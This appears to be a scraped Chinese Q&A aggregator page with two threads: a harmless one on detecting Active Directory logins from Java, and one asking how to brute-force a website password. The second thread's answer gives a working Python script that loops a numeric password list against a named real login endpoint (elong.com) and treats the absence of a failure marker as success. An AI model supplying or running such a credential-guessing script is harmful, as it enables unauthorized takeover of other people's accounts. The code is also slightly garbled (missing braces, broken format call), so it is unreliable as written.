如何用java判断用户已经在AD域中已经登录?求指教,求高人

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如何用java判断用户已经在AD域中已经登录?求指教,求高人相关的知识,希望对你有一定的参考价值。

按理说AD域会返回一个ticket 但是不知道这个是什么,所以不能,有一个土办法就是借用Ad域中用户的字段lastLogon,退出后想办法去更改他,登录后将其加密存放在cookie中,然后校验就行了,更好的办法我没有想到。 参考技术A 没具体用过ldap,给些建议吧:)
1、如何判断用户是否已在域上登录了?
你用的ldap访问包里有没有判断用户登陆的api?如果没有,可以将已登陆用户列表作为一个全局cache,每次用户请求判断cache就可以了。
2、如果用户没有登录到域,如何为用户做域登录呢?
没有登陆就dispatch到登陆页面,dispatch前可以记录其访问的url,等正确登陆后在dispatch到url
参考技术B 这得去专业论坛上整吧 有点太专业 参考技术C 想都不用想Java的保密性是可想而知的 参考技术D jsp用session判断吧

如何用python写一个不断尝试密码达到网址登陆成功的源码!

请教: 如何利用python 不断尝试密码达到网址登陆成功。
网站用户名知道。
密码是纯数字
没有字母
我已经用python在桌面写了1-6位数组合的密码txt了。
网站没有验证码,没有反爬。

'''
# 提取登录接口,观察登录失败特征,根据密码txt不停尝试,若返回结果没有失败特征就表示成功
#(不保险的话,可以将所有尝试结果记录下来,人为判断)
# 以艺龙登录接口为例:https://secure.elong.com/passport/ajax/elongLogin
# 失败特征:接口返回内容包含"success":false
'''
import requests

# 把登录接口、头部、请求参数、密码按列读取为列表,都定义好
loginUrl = 'https://secure.elong.com/passport/ajax/elongLogin'
header = "Content-Type": "application/x-www-form-urlencoded"
postData = "userName":"name","passwd":""
with open('密码.txt','r') as file:
pwdList = file.readlines()

# 循环更新密码并发送请求,判断返回内容是否包含失败特征
for pwd in pwdList:
postData["passwd"]=pwd
response=requests.request(method='POST',url=loginUrl,data=postData,headers=header)
resData = response.text
print resData
# find()返回-1时表示没找到失败特征
if resData.find('"success":false') == -1:
print '正确密码是:'.format(pwd)
break
参考技术A 现在很多网站如果错了一定次数就会冻结账号。不会成功的,放弃吧 参考技术B

如果不考虑接口上面的限制,可以用无线循环一直登录,webdriver是最简单了的了。成功退出循环即可


参考技术C 不知道追问

兄弟,你不知道你是过来混经验的吗?

参考技术D 网站是什么语言的?
这是爆破的一种,也得具体问题具体分析

以上是关于如何用java判断用户已经在AD域中已经登录?求指教,求高人的主要内容,如果未能解决你的问题,请参考以下文章

如何用C#实现让一个用户只能登录一次这个功能

在java Web中如何用Ajax实现用户名已存在

如何用java递归生成带children的json串

AD 域中给AD 用加登录本地计算的权限

如何用python写一个不断尝试密码达到网址登陆成功的源码!

SPNEGO Kerberos 单点登录在 tomcat 服务器的 AD 域中不起作用